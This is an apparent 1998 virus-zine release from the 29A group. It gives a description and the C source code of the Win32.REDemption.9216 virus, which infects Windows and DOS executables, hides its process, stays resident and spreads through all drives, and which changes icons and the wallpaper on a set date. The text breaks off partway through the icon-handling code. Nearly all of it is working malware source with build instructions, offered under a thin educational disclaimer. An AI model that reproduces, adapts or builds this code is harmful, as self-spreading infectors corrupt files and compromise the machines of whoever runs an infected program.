The Win32.REDemption.9216 virus
H0l0kausT Issue 1
Description
This is a resident HLL (High Level Language) Win32 appender virus written in C. It infects all sort of EXE files: DOS EXE files, NE files, PE files from Win32 (Win95/NT), etc. Infected files only spread in Win32 platforms, including Win3.x with Win32s subsystem. The virus infects EXE files by changing the pointer at 3Ch in the MZ header which points to the new EXE header (if any) placing another pointer to the virus own PE header attached at the end of the file. When the virus executes, it infects all EXE files from Windows, System and current folder. Then it spawns itself as another task (thus staying resident), makes itself invisible (thus becoming unloadable) and periodically searches for non- infected EXE files in all drives, infecting them in the background.
Most interesting feature of this virus is that infected files don't grow at all, that is, files have same size before and after infection. The virus compresses part of its host by using own JQCODING algorithm. It also copies host icon to its own resource section to show original icon. The virus has no problems related to finding the KERNEL32 base address and its API functions. This is because all API functions are imported implicitly from the virus own import table. The virus takes special care of patching appropriately all RVA and RAW fields from its own PE header, including code, data, imports, relocations and resource sections. This is needed for the virus to spread succesfully through all kinds of hosts.
Payload
On October the 29th, the virus replaces the main icon of all infected programs with its own icon, a 29A logo. It also changes default desktop wallpaper to such logo.
To build
Just run the BUILD.BAT file to build release version. VC++ 6.0 compiler was used since it proved to optimize better than Borland's or Watcom's.
Greets go to
- All 29Aers: for all the work quality and effort during this #3 issue, keep up the good work dudes!
- b0z0: for such invaluable feedback during betatesting, thanks a lot man, you rock!
- My gf Carol: who's been pushing me to quit the scene, but still not enough, i.o.u. #8).
- Rajaat/Sandy: Hey we all miss you.. come back to 29A!
Disclaimer
This source code is provided for educational purposes only. The author is NOT responsible in any way, for problems it may cause due to improper use!
(c) 1998. Jacky Qwerty/29A.
----------------------------------------------------------------[win32red.c]--
/*
Win32.REDemption.9216 virus.
(c) 1998. Jacky Qwerty/29A.
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifdef tsr
#include "win95sys.h"
#endif
#ifdef compr
#include "jqcoding.h"
#endif
#ifdef icon
#include "winicons.h"
#include "winres.h"
#endif
//constants..
#ifdef _MSC_VER // Microsoft VC++
# ifdef release
# define DATA_SECTION_RAW 0x200 //0xE00
# else
# define DATA_SECTION_RAW 0x1400 //0x1600
# endif
# define COMPILER_DATA 0 //0x30 (VC++4)
# define SIZEOF_RESOURCE_DATA 0x504
#endif
#ifdef __BORLANDC__ // Borland C++
# ifdef release
# define DATA_SECTION_RAW ? //0x1000
# define COMPILER_DATA 0
# else
# define DATA_SECTION_RAW ? //0x6200
# define COMPILER_DATA 0x74
# endif
# define SIZEOF_RESOURCE_DATA ?
#endif
#define VIRUS_SIZE (FILE_SIZE - PE_HEADER_OFFSET)
#define STARTOF_CODEDATA (DATA_SECTION_RAW + COMPILER_DATA -\
PE_HEADER_OFFSET)
#define RawSelfCheck (STARTOF_CODEDATA + sizeof(szCopyright) - 5)
#define INIT_VARS_OFFSET (STARTOF_CODEDATA + sizeof(szCopyright) +\
sizeof(szExts) + 3 & -4)
#ifdef tsr
#define RawProgType INIT_VARS_OFFSET
#define RawSrcVir (RawProgType + 4)
#else
#define RawSrcVir INIT_VARS_OFFSET
#endif
#define RawOldPtr2NewEXE (RawSrcVir + 4)
#define RawOldFileSize (RawOldPtr2NewEXE + 4)
#ifdef compr
#define RawnComprSize (RawOldFileSize + 4)
#define RawCipherTarget (RawnComprSize + 4)
#define TmpVal RawCipherTarget
#else
#define TmpVal RawOldFileSize
#endif
#ifdef icon
#define RawOldResourceAddr (TmpVal + 4)
#endif
#ifndef compr
#define SIZE_PAD 101
#endif
#define READ_ONLY FALSE
#define WRITE_ACCESS TRUE
#define SIZEOF_FILEEXT 3
#define MAX_FILESIZE 0x4000000 //64 MB
#ifdef compr
#define MIN_FILESIZE 0x4000 //16 KB
#endif
#define PREV_LAPSE 3 //1 * 60 //10 * 60 //seconds
#define SEEK_LAPSE 3 //5 //30 //seconds
//macros..
#define Rva2Ptr(Type, Base, RVA) ((Type)((DWORD)(Base) + (DWORD)(RVA)))
#define IsFile(pFindData) (!((pFindData)->dwFileAttributes &\
FILE_ATTRIBUTE_DIRECTORY))
#define IsFolder(pFindData) (!IsFile(pFindData) &&\
(pFindData)->cFileName[0] != '.')
#define PushVar(Object) __asm push (Object)
#define PopVar(Object) __asm pop (Object)
//type definitions..
#ifdef tsr
typedef BYTE PROG_TYPE, *PPROG_TYPE;
#define TSR_COPY 0
#define HOST_COPY 1
#endif
typedef BYTE BOOLB;
typedef struct _IMAGE_RELOCATION_DATA { // not defined in winnt.h
WORD RelocOffset :12;
WORD RelocType :4;
} IMAGE_RELOCATION_DATA, *PIMAGE_RELOCATION_DATA;
#ifdef icon
typedef struct _ICONIMAGES {
PICONIMAGE pLargeIcon;
PICONIMAGE pSmallIcon;
} ICONIMAGES, *PICONIMAGES;
#endif
//global variables..
BYTE szCopyright[] = "(c) Win32.REDemption (C ver.1.0) by JQwerty/29A",
szExts[] = "eXeSCr";
#ifdef tsr
PROG_TYPE ProgType = HOST_COPY;
#endif
DWORD SrcVir = PE_HEADER_OFFSET, OldPtr2NewEXE = 1, OldFileSize = FILE_SIZE;
#ifdef compr
DWORD nComprSize = 1, CipherTarget = 1;
#endif
#ifdef icon
DWORD OldResourceAddr = RESOURCE_SECTION_RVA;
#include "jq29aico.h"
#endif
DWORD ExitCode = 0;
#ifndef compr
DWORD _TgtVir;
#else
DWORD CipherSource;
#endif
DWORD _RvaDelta;
HANDLE hHandle1, hHandle2;
BYTE PathName[MAX_PATH], HostName[MAX_PATH], TmpName[MAX_PATH];
WIN32_FIND_DATA FindData, FindDataTSR;
STARTUPINFO StartupInfo = { 0 };
PROCESS_INFORMATION ProcessInfo;
PIMAGE_DOS_HEADER pMZ, pHostMZ;
PIMAGE_NT_HEADERS _pHostPE;
#ifdef msgbox
BOOLB CancelFolderSeek = FALSE, CancelFileSeek = FALSE;
#ifdef tsr
HANDLE hMutex;
#endif
#endif
#ifdef icon
BOOLB bPayLoadDay = FALSE;
PIMAGE_RESOURCE_DIRECTORY pRsrcStart;
BYTE HostLargeIcon[SIZEOF_LARGE_ICON];
BYTE HostSmallIcon[SIZEOF_SMALL_ICON];
#endif
#ifdef compr
BYTE ComprMem[0x10000];
#ifdef icon
#define SIZEOF_BMP 0x8076 //32Kb + Bitmap header..
BYTE jq29aBmp[SIZEOF_BMP] = { 0 };
#endif
#endif
#define sz29A (szCopyright + sizeof(szCopyright) - 4)
#define szJQ (szCopyright + sizeof(szCopyright) - 12)
//function declarations..
VOID Win32Red(VOID);
BOOLB OpenMapFile(PBYTE FileName, BOOLB WriteAccess);
VOID CloseTruncFile(BOOLB WriteAccess);
VOID InfectPath(PBYTE PathName, DWORD cBytes);
VOID CloseUnmapFile(BOOLB WriteAccess);
PBYTE GetEndOfPath(PBYTE pTgt, PBYTE pSr);
PVOID Rva2Raw(DWORD Rva);
#ifdef icon
VOID FixResources(PIMAGE_RESOURCE_DIRECTORY pRsrcDir);
VOID GetDefaultIcons(PICONIMAGES pIconImages,
PVOID pNEorPE);
#endif
#ifdef tsr
VOID ExecTemp(PROG_TYPE ProgType);
__inline VOID SeekTSR(VOID);
VOID WalkFolder(PBYTE PathName);
VOID HideProcess(VOID);
__inline PPROCESS_DATABASE GetProcessDB(VOID);
__inline PTHREAD_DATABASE GetThreadDB(VOID);
#else
__inline VOID ExecTemp(VOID);
#endif
//function definitions..
VOID Win32Red() {
#ifdef tsr
#ifndef msgbox
HANDLE hMutex;
#endif
HideProcess();
#endif
#ifdef icon
#include "payload.c"
#endif
if (GetModuleFileName(0, HostName, MAX_PATH) &&
OpenMapFile(HostName, READ_ONLY)) {
pHostMZ = pMZ;
PushVar(hHandle1); //better pushin/popin than usin a temp. var.
PushVar(hHandle2); //better pushin/popin than usin a temp. var.
SrcVir += (DWORD)pMZ;
#ifdef tsr
if (ProgType != TSR_COPY) {
#ifdef msgbox
MessageBox(NULL, "Non-resident stage..", szCopyright, MB_OK);
#endif
#endif
#ifdef compr
PushVar(nComprSize);
PushVar(CipherTarget);
#endif
InfectPath(PathName, GetWindowsDirectory(PathName, 0x7F));
InfectPath(PathName, GetSystemDirectory(PathName, 0x7F));
InfectPath(PathName, (*PathName = '.', 1));
#ifdef compr
PopVar(CipherTarget);
PopVar(nComprSize);
#endif
#ifdef tsr
}
else {
if ((hMutex = CreateMutex(NULL, FALSE, szJQ)))
if (GetLastError() == ERROR_ALREADY_EXISTS)
#if 1
#ifdef msgbox
MessageBox(NULL, "TSR: Mutex exists!", szCopyright, MB_OK),
#endif
#endif
CloseHandle(hMutex),
ExitProcess(ExitCode);
#if 1
#ifdef msgbox
else
MessageBox(NULL, "TSR: Mutex created!", szCopyright, MB_OK);
#endif
#endif
#ifdef msgbox
MessageBox(NULL, "Resident stage..", szCopyright, MB_OK);
#endif
SeekTSR();
#ifdef msgbox
MessageBox(NULL, "TSR: bye bye..", szCopyright, MB_OK);
#endif
}
#endif
PopVar(hHandle2); //better pushin/popin than usin a temp. var.
PopVar(hHandle1); //better pushin/popin than usin a temp. var.
pMZ = pHostMZ;
CloseUnmapFile(READ_ONLY);
#ifdef tsr
if (ProgType != TSR_COPY) {
if ((hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, szJQ)))
#ifndef msgbox
CloseHandle(hMutex);
#else
CloseHandle(hMutex),
MessageBox(NULL, "HOST: Mutex exists!", szCopyright, MB_OK);
#endif
else
if (GetTempPath(MAX_PATH, PathName) - 1 < MAX_PATH - 1)
#ifdef msgbox
MessageBox(NULL, "HOST: Mutex doesn't exist!",
szCopyright, MB_OK),
#endif
ExecTemp(TSR_COPY);
GetEndOfPath(PathName, HostName);
ExecTemp(HOST_COPY);
}
#else
GetEndOfPath(PathName, HostName);
ExecTemp();
#endif
}
ExitProcess(ExitCode);
}
#ifdef tsr
VOID ExecTemp(PROG_TYPE ProgType) {
#else
__inline VOID ExecTemp() {
#endif
PBYTE pSrc, szCmdLine;
HANDLE hFindFile;
#ifdef compr
BOOLB DecomprOK = TRUE;
#endif
#ifdef tsr
DWORD cBytes;
if (ProgType == TSR_COPY) {
if (PathName[(cBytes = lstrlen(PathName)) - 1] != '\\')
PathName[cBytes++] = '\\';
*(PDWORD)(PathName + cBytes) = '*A92';
*(PDWORD)(PathName + cBytes + 4) = '*.';
if ((hFindFile = FindFirstFile(PathName, &FindData)) !=
INVALID_HANDLE_VALUE) {
do {
lstrcpy(PathName + cBytes, FindData.cFileName);
DeleteFile(PathName);
} while (FindNextFile(hFindFile, &FindData));
FindClose(hFindFile);
}
PathName[cBytes] = '\x0';
}
#endif
if (!(cBytes = lstrlen(PathName),
GetTempFileName(PathName, sz29A, 0, PathName)) &&
(GetTempPath(MAX_PATH, PathName) - 1 >= MAX_PATH - 1 ||
!(cBytes = lstrlen(PathName),
GetTempFileName(PathName, sz29A, 0, PathName))))
return;
if (ProgType != TSR_COPY)
for (;;) {
pSrc = PathName + lstrlen(lstrcpy(TmpName, PathName));
while (*--pSrc != '.'); *(PDWORD)(pSrc + 1) = 'EXE';
if (MoveFile(TmpName, PathName))
break;
DeleteFile(TmpName);
PathName[cBytes] = '\x0';
if (!GetTempFileName(PathName, sz29A, 0, PathName))
return;
}
if (CopyFile(HostName, PathName, FALSE) &&
SetFileAttributes(PathName, FILE_ATTRIBUTE_NORMAL) &&
(hFindFile = FindFirstFile(HostName, &FindData)) !=
INVALID_HANDLE_VALUE) {
if (OpenMapFile(PathName, WRITE_ACCESS)) {
#ifdef tsr
if (ProgType != TSR_COPY) {
#endif
pMZ->e_lfanew = OldPtr2NewEXE;
#ifndef compr
FindData.nFileSizeLow = OldFileSize;
#else
#ifdef msgbox
#if 0
MessageBox(NULL, "Host decoding is about to start..",
szCopyright, MB_OK);
#endif
#endif
if (jq_decode(Rva2Ptr(PBYTE, pMZ, OldFileSize),
Rva2Ptr(PBYTE, pMZ, CipherTarget + nComprSize),
nComprSize,
ComprMem) != OldFileSize - CipherTarget) {
DecomprOK = FALSE;
#ifdef msgbox
#if 1
MessageBox(NULL, "Decode error: File is corrupt!",
szCopyright, MB_OK);
#endif
#if 0
}
else {
MessageBox(NULL, "Host decoded succesfully!",
szCopyright, MB_OK);
#endif
#endif
}
#endif
#ifdef tsr
}
else
*Rva2Ptr(PPROG_TYPE,
Rva2Ptr(PIMAGE_NT_HEADERS, pMZ, pMZ->e_lfanew),
RawProgType) = TSR_COPY;
#endif
#ifndef compr
UnmapViewOfFile(pMZ);
CloseTruncFile(WRITE_ACCESS);
#else
CloseUnmapFile(WRITE_ACCESS);
if (DecomprOK) {
#endif
pSrc = GetCommandLine(); while (*++pSrc != 0x20 && *pSrc);
if ((szCmdLine = (PBYTE)GlobalAlloc(LPTR, MAX_PATH
+ lstrlen(pSrc) + 1))) {
lstrcat(lstrcpy(szCmdLine, PathName), pSrc);
(BYTE)StartupInfo.cb = sizeof(STARTUPINFO);
if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE,
CREATE_NEW_CONSOLE, NULL, NULL,
&StartupInfo, &ProcessInfo)) {
#ifdef tsr
if (ProgType != TSR_COPY) {
#endif
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
GetExitCodeProcess(ProcessInfo.hProcess, &ExitCode);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
#ifdef tsr
}
#endif
}
GlobalFree(szCmdLine);
}
#ifdef compr
}
#endif
}
FindClose(hFindFile);
}
DeleteFile(PathName);
}
BOOLB OpenMapFile(PBYTE FileName, BOOLB WriteAccess) {
#ifndef compr
DWORD NewFileSize;
#endif
hHandle1 = CreateFile(FileName,
WriteAccess
? GENERIC_READ | GENERIC_WRITE
: GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if (hHandle1 == INVALID_HANDLE_VALUE)
return FALSE;
hHandle2 = CreateFileMapping(hHandle1,
NULL,
WriteAccess ? PAGE_READWRITE : PAGE_READONLY,
0,
#ifdef compr
0,
#else
WriteAccess
? NewFileSize =
(((_TgtVir =
(FindData.nFileSizeLow + 0x1FF &
-0x200)
+ PE_HEADER_OFFSET)
+ (VIRUS_SIZE + SIZE_PAD - 1))
/ SIZE_PAD) * SIZE_PAD
: 0,
#endif
NULL);
if (!hHandle2) {
CloseHandle(hHandle1);
return FALSE;
}
pMZ = MapViewOfFile(hHandle2,
WriteAccess ? FILE_MAP_WRITE : FILE_MAP_READ,
0,
0,
#ifdef compr
0
#else
WriteAccess ? NewFileSize : 0
#endif
);
if (!pMZ) {
CloseTruncFile(WriteAccess);
return FALSE;
}
return TRUE;
}
VOID CloseTruncFile(BOOLB WriteAccess) {
CloseHandle(hHandle2);
if (WriteAccess) {
#ifndef compr
SetFilePointer(hHandle1, FindData.nFileSizeLow, NULL, FILE_BEGIN);
SetEndOfFile(hHandle1);
#endif
SetFileTime(hHandle1, NULL, NULL, &FindData.ftLastWriteTime);
}
CloseHandle(hHandle1);
}
VOID InfectPath(PBYTE PathName, DWORD cBytes) {
PBYTE pSrc, pTgt, pExt, pEndRelocs, pRelocBase;
#ifdef compr
PBYTE pComprBuf;
SYSTEMTIME SystemTime;
#endif
DWORD FileExt, TgtVir, RvaDelta, RawDelta, nCount, nSections, nRvas;
PIMAGE_SECTION_HEADER pSectionHdr;
PIMAGE_NT_HEADERS pPE, pHostPE;
PIMAGE_BASE_RELOCATION pRelocs;
PIMAGE_RELOCATION_DATA pRelocData;
PIMAGE_IMPORT_DESCRIPTOR pImports;
PIMAGE_THUNK_DATA pImportData;
HANDLE hFindFile;
BOOLB Infect, bValidHeader;
#ifdef icon
ICONIMAGES IconImages;
#endif
if (0x7F <= cBytes - 1) return;
if (PathName[cBytes - 1] != '\\') PathName[cBytes++] = '\\';
*(PDWORD)(PathName + cBytes) = '*.*';
#ifdef msgbox
switch (MessageBox(NULL, PathName, szCopyright,
MB_YESNOCANCEL | MB_ICONEXCLAMATION)) {
case IDCANCEL:
CancelFolderSeek = TRUE;
case IDNO:
return;
}
#endif
if ((hFindFile = FindFirstFile(PathName, &FindData)) ==
INVALID_HANDLE_VALUE)
return;
do {
{
#ifdef compr
BYTE KeySecond, TmpKeySec;
#endif
if (!IsFile(&FindData) || FindData.nFileSizeHigh ||
#ifdef compr
FindData.nFileSizeLow < MIN_FILESIZE ||
#endif
(FindData.nFileSizeLow & -MAX_FILESIZE) ||
#ifndef compr
!(FindData.nFileSizeLow % SIZE_PAD)
#else
(FileTimeToSystemTime(&FindData.ftLastWriteTime, &SystemTime),
TmpKeySec =
(BYTE)(((BYTE)SystemTime.wYear - (BYTE)SystemTime.wMonth +
(BYTE)SystemTime.wDay - (BYTE)SystemTime.wHour +
(BYTE)SystemTime.wMinute ^ 0x6A) & 0x3E),
KeySecond = TmpKeySec < 60 ? TmpKeySec : TmpKeySec - 4,
KeySecond == (BYTE)SystemTime.wSecond)
#endif
)
continue;
#ifdef compr
(BYTE)SystemTime.wSecond = KeySecond;
#endif
}
pTgt = lstrcpy(PathName + cBytes, FindData.cFileName)
+ lstrlen(FindData.cFileName);
FileExt = *(PDWORD)(pTgt - SIZEOF_FILEEXT) & ~0xFF202020;
pExt = szExts;
do {
if (FileExt != (*(PDWORD)pExt & ~0xFF202020) ||
pTgt[- 1 - SIZEOF_FILEEXT] != '.' ||
!OpenMapFile(PathName, READ_ONLY))
continue;
Infect = FALSE;
#ifdef compr
pComprBuf = NULL;
#endif
if (pMZ->e_magic == IMAGE_DOS_SIGNATURE) {
bValidHeader = FALSE;
pPE = Rva2Ptr(PIMAGE_NT_HEADERS, pMZ, pMZ->e_lfanew);
if ((DWORD)pMZ < (DWORD)pPE &&
(DWORD)pPE < Rva2Ptr(DWORD,
pMZ,
FindData.nFileSizeLow)
- 0x7F &&
(bValidHeader = TRUE,
pPE->Signature == IMAGE_NT_SIGNATURE &&
*Rva2Ptr(PDWORD, pPE, RawSelfCheck) == 'A92/')) {
} else {
#ifndef compr
Infect = TRUE;
#else
{
DWORD nMaxComprSize;
if ((pComprBuf =
(PBYTE)GlobalAlloc(
LPTR,
nMaxComprSize =
FindData.nFileSizeLow / 8 * 9 + 12
)
)) {
#ifdef msgbox
#if 0
MessageBox(NULL, "Host encoding is about to start..",
FindData.cFileName, MB_OK);
#endif
#endif
nComprSize =
jq_encode(pComprBuf + nMaxComprSize,
Rva2Ptr(PBYTE, pMZ, FindData.nFileSizeLow),
FindData.nFileSizeLow - sizeof(IMAGE_DOS_HEADER),
ComprMem);
TgtVir = (CipherTarget + nComprSize - PE_HEADER_OFFSET
+ 0x1FF & -0x200) + PE_HEADER_OFFSET;
if (TgtVir + VIRUS_SIZE - 1 < FindData.nFileSizeLow)
#ifdef msgbox
#if 0
MessageBox(NULL, "Host encoded succesfully!",
FindData.cFileName, MB_OK),
#endif
#endif
Infect = TRUE;
#ifdef msgbox
#if 0
else
MessageBox(NULL, "Host encoded succesfully, but "
"Win32.RED code didn't fit, "
"skipping file..",
FindData.cFileName, MB_OK);
#endif
#endif
}
}
#endif
}
}
CloseUnmapFile(READ_ONLY);
if (!Infect || !SetFileAttributes(PathName, FILE_ATTRIBUTE_NORMAL)) {
#ifdef compr
if (pComprBuf) GlobalFree(pComprBuf);
#endif
continue;
}
#ifdef msgbox
switch (MessageBox(NULL, PathName, szCopyright,
MB_YESNOCANCEL | MB_ICONEXCLAMATION)) {
case IDCANCEL:
CancelFileSeek = TRUE; break;
case IDYES:
#endif
if (OpenMapFile(PathName, WRITE_ACCESS)) {
#ifdef icon
IconImages.pLargeIcon = NULL;
IconImages.pSmallIcon = NULL;
if (!bPayLoadDay && bValidHeader) {
GetDefaultIcons(&IconImages,
Rva2Ptr(PVOID, pMZ, pMZ->e_lfanew));
if (IconImages.pLargeIcon) {
pSrc = (PBYTE)IconImages.pLargeIcon;
pTgt = HostLargeIcon;
nCount = SIZEOF_LARGE_ICON;
do *pTgt++ = *pSrc++; while (--nCount);
if (IconImages.pSmallIcon) {
pSrc = (PBYTE)IconImages.pSmallIcon;
nCount = SIZEOF_SMALL_ICON;
do *pTgt++ = *pSrc++; while (--nCount);
}
}
}
#endif
#ifdef compr
pTgt = Rva2Ptr(PBYTE, pMZ, CipherTarget);
pSrc = (PBYTE)CipherSource;
nCount = nComprSize;
do *pTgt++ = *pSrc++; while (--nCount);
GlobalFree(pComprBuf); pComprBuf = NULL; //This line is optional
_pHostPE = pHostPE = Rva2Ptr(PIMAGE_NT_HEADERS,
pMZ,
TgtVir);
#else
_pHostPE = pHostPE = Rva2Ptr(PIMAGE_NT_HEADERS, //The comented code
pMZ, // below generates
TgtVir = _TgtVir); // more bytez than
#endif // this code becoz
pTgt = (PBYTE)pHostPE; // the linker adds
pSrc = (PBYTE)SrcVir; // other functionz
nCount = VIRUS_SIZE; // not needed!
do *pTgt++ = *pSrc++; while (--nCount); //
// CopyMemory((PBYTE)(pHostPE = Rva2Ptr(PIMAGE_NT_HEADERS, //Not in
// pMZ, //any DLL
// TgtVir)), //but in
// (PBYTE)SrcVir, //a RTL.
// VIRUS_SIZE); //
#ifdef tsr
if (ProgType == TSR_COPY)
*Rva2Ptr(PPROG_TYPE, pHostPE, RawProgType) = HOST_COPY;
#endif
*Rva2Ptr(PDWORD, pHostPE, RawSrcVir) = TgtVir;
*Rva2Ptr(PDWORD, pHostPE, RawOldPtr2NewEXE) = pMZ->e_lfanew;
*Rva2Ptr(PDWORD, pHostPE, RawOldFileSize) = FindData.nFileSizeLow;
#ifdef compr
*Rva2Ptr(PDWORD, pHostPE, RawnComprSize) = nComprSize;
*Rva2Ptr(PDWORD, pHostPE, RawCipherTarget) = CipherTarget;
#endif
_RvaDelta = RvaDelta =
((pHostPE->OptionalHeader.SizeOfHeaders +=
(RawDelta = TgtVir - pHostMZ->e_lfanew))
+ 0xFFF & -0x1000)
- pHostPE->OptionalHeader.BaseOfCode;
// fix RVAs in PE header..
pHostPE->OptionalHeader.AddressOfEntryPoint += RvaDelta;
pHostPE->OptionalHeader.BaseOfCode += RvaDelta;
pHostPE->OptionalHeader.BaseOfData += RvaDelta;
pSectionHdr = IMAGE_FIRST_SECTION(pHostPE);
nSections = pHostPE->FileHeader.NumberOfSections;
do {
pSectionHdr->PointerToRawData += RawDelta;
pSectionHdr++->VirtualAddress += RvaDelta;
} while (--nSections);
pHostPE->OptionalHeader.SizeOfImage =
(pSectionHdr - 1)->VirtualAddress
+ (pSectionHdr - 1)->Misc.VirtualSize
+ 0xFFF & -0x1000;
nRvas = pHostPE->OptionalHeader.NumberOfRvaAndSizes;
do {
if (!pHostPE->OptionalHeader.DataDirectory[--nRvas].
VirtualAddress)
continue;
pHostPE->OptionalHeader.DataDirectory[nRvas].
VirtualAddress += RvaDelta;
} while (nRvas);
// fix RVAs in code & reloc section..
pEndRelocs =
Rva2Ptr(
PBYTE,
(pRelocs =
Rva2Raw(pHostPE->OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].
VirtualAddress)),
pHostPE->OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].
Size - IMAGE_SIZEOF_BASE_RELOCATION);
do {
pRelocBase = Rva2Raw(pRelocs->VirtualAddress += RvaDelta);
pRelocData = (PIMAGE_RELOCATION_DATA)(pRelocs + 1);
(DWORD)pRelocs += pRelocs->SizeOfBlock;
do {
if (pRelocData->RelocType != IMAGE_REL_BASED_HIGHLOW)
continue;
*Rva2Ptr(PDWORD,
pRelocBase,
pRelocData->RelocOffset) += RvaDelta;
} while ((DWORD)++pRelocData < (DWORD)pRelocs);
} while ((DWORD)pRelocs < (DWORD)pEndRelocs);
// fix RVAs in import section..
pImports =
Rva2Raw(pHostPE->OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].
VirtualAddress);
do {
pImportData =
#ifdef _MSC_VER
Rva2Raw((DWORD)pImports->OriginalFirstThunk += RvaDelta);
#endif
#ifdef __BORLANDC__
Rva2Raw((DWORD)pImports->u.OriginalFirstThunk += RvaDelta);
#endif
if ((DWORD)pImportData)
do {
(DWORD)pImportData->u1.AddressOfData += RvaDelta;
} while ((DWORD)(++pImportData)->u1.AddressOfData);
pImports->Name += RvaDelta;
pImportData = Rva2Raw((DWORD)pImports->FirstThunk += RvaDelta);
do {
(DWORD)pImportData->u1.AddressOfData += RvaDelta;
} while ((DWORD)(++pImportData)->u1.AddressOfData);
} while((++pImports)->Name);
#ifdef icon
// fix RVAs in resource section..
pRsrcStart =
Rva2Raw(pHostPE->OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].
VirtualAddress = (*Rva2Ptr(PDWORD,
pHostPE,
RawOldResourceAddr)
+= RvaDelta));
((PBYTE)pRsrcStart)[0x2E] = 2;
((PBYTE)pRsrcStart)[0x4E4] = 2;
FixResources(pRsrcStart);
if (IconImages.pLargeIcon || bPayLoadDay) {
pHostPE->OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].
Size = SIZEOF_RESOURCE_DATA;
pTgt = (PBYTE)pRsrcStart + 0xD0;
pSrc = HostLargeIcon;
nCount = SIZEOF_LARGE_ICON;
do *pTgt++ = *pSrc++; while (--nCount);
if (IconImages.pSmallIcon || bPayLoadDay) {
nCount = SIZEOF_SMALL_ICON;
do *pTgt++ = *pSrc++; while (--nCount);
}
else {
((PBYTE)pRsrcStart)[0x2E] = 1;
((PBYTE)pRsrcStart)[0x4E4] = 1;
}
}
else {
pHostPE->OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].
VirtualAddress = 0;
pHostPE->OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].
Size = 0;
}
#endif
pMZ->e_lfanew = TgtVir;
#ifdef compr
SystemTimeToFileTime(&SystemTime, &FindData.ftLastWriteTime);
#endif
CloseUnmapFile(WRITE_ACCESS);
}
#ifdef msgbox
}
#endif
SetFileAttributes(PathName, FindData.dwFileAttributes);
#ifdef msgbox
if (CancelFileSeek) {
CancelFileSeek = FALSE;
goto BreakHere; //can't use break; because of the 2 while's.
}
#endif
#ifdef compr
if (pComprBuf) GlobalFree(pComprBuf);
#endif
} while (*(pExt += SIZEOF_FILEEXT));
} while (FindNextFile(hFindFile, &FindData));
#ifdef msgbox
BreakHere:
#endif
FindClose(hFindFile);
}
VOID CloseUnmapFile(BOOLB WriteAccess) {
UnmapViewOfFile(pMZ);
#ifndef compr
CloseHandle(hHandle2);
if (WriteAccess)
SetFileTime(hHandle1, NULL, NULL, &FindData.ftLastWriteTime);
CloseHandle(hHandle1);
#else
CloseTruncFile(WriteAccess);
#endif
}
PBYTE GetEndOfPath(PBYTE pTgt, PBYTE pSr) {
PBYTE pTgtBegin = pTgt, pSrEnd = pSr;
while (*pSrEnd++);
while (pSr < --pSrEnd && pSrEnd[-1] != '\\' && pSrEnd[-1] != ':');
while (pSr < pSrEnd) *pTgt++ = *pSr++;
if (pTgtBegin == pTgt || pTgt[-1] != '\\') *((PWORD)pTgt)++ = '.\\';
*pTgt = '\x0'; return(pTgt);
}
PVOID Rva2Raw(DWORD Rva) {
PIMAGE_SECTION_HEADER pSectionHdr = IMAGE_FIRST_SECTION(_pHostPE);
DWORD nSections = _pHostPE->FileHeader.NumberOfSections;
do {
if (pSectionHdr->VirtualAddress <= Rva &&
Rva < pSectionHdr->VirtualAddress + pSectionHdr->Misc.VirtualSize)
return (PVOID)(Rva - pSectionHdr->VirtualAddress
+ pSectionHdr->PointerToRawData
+ (DWORD)pMZ);
pSectionHdr++;
} while (--nSections);
return NULL;
}
#ifdef icon
VOID FixResources(PIMAGE_RESOURCE_DIRECTORY pRsrcDir) {
PIMAGE_RESOURCE_DIRECTORY_ENTRY pRsrcDirEntry;
DWORD nCount;
if (!pRsrcDir)
return;
pRsrcDirEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pRsrcDir + 1);
nCount = pRsrcDir->NumberOfNamedEntries + pRsrcDir->NumberOfIdEntries;
do
pRsrcDirEntry->DataIsDirectory
? FixResources(Rva2Ptr(PIMAGE_RESOURCE_DIRECTORY, //recursion..
pRsrcStart,
pRsrcDirEntry->OffsetToDirectory))
: (Rva2Ptr(PIMAGE_RESOURCE_DATA_ENTRY,
pRsrcStart,
pRsrcDirEntry->OffsetToData)->OffsetToData
+= _RvaDelta);
while (pRsrcDirEntry++, --nCount);
}
#define LARGE_ICON 0
#define SMALL_ICON 1
PICONIMAGE GetDefaultIcon(PIMAGE_RESOURCE_DIRECTORY pRsrcDir,
BOOLB IconType,
BOOLB bFalse) {
PIMAGE_RESOURCE_DIRECTORY_ENTRY pRsrcDirEntry;
PIMAGE_RESOURCE_DATA_ENTRY pRsrcDataEntry;
PICONIMAGE pIconImage;
DWORD nCount;
if (!pRsrcDir)
return NULL;
pRsrcDirEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pRsrcDir + 1);
nCount = pRsrcDir->NumberOfNamedEntries + pRsrcDir->NumberOfIdEntries;
do {
if (!bFalse && pRsrcDirEntry->Id != (WORD)RT_ICON)
continue;
if (pRsrcDirEntry->DataIsDirectory) {
pIconImage = GetDefaultIcon(Rva2Ptr(PIMAGE_RESOURCE_DIRECTORY,
pRsrcStart,
pRsrcDirEntry->OffsetToDirectory),
IconType,
TRUE);
if (!pIconImage)
continue;
return pIconImage;
}
pRsrcDataEntry = Rva2Ptr(PIMAGE_RESOURCE_DATA_ENTRY,
pRsrcStart,
pRsrcDirEntry->OffsetToData);
pIconImage = Rva2Raw(pRsrcDataEntry->OffsetToData);
if (pIconImage->icHeader.biSize != sizeof(BITMAPINFOHEADER) ||
pIconImage->icHeader.biWidth != (IconType == LARGE_ICON
? 32
: 16) ||
pIconImage->icHeader.biHeight != (IconType == LARGE_ICON
? 64
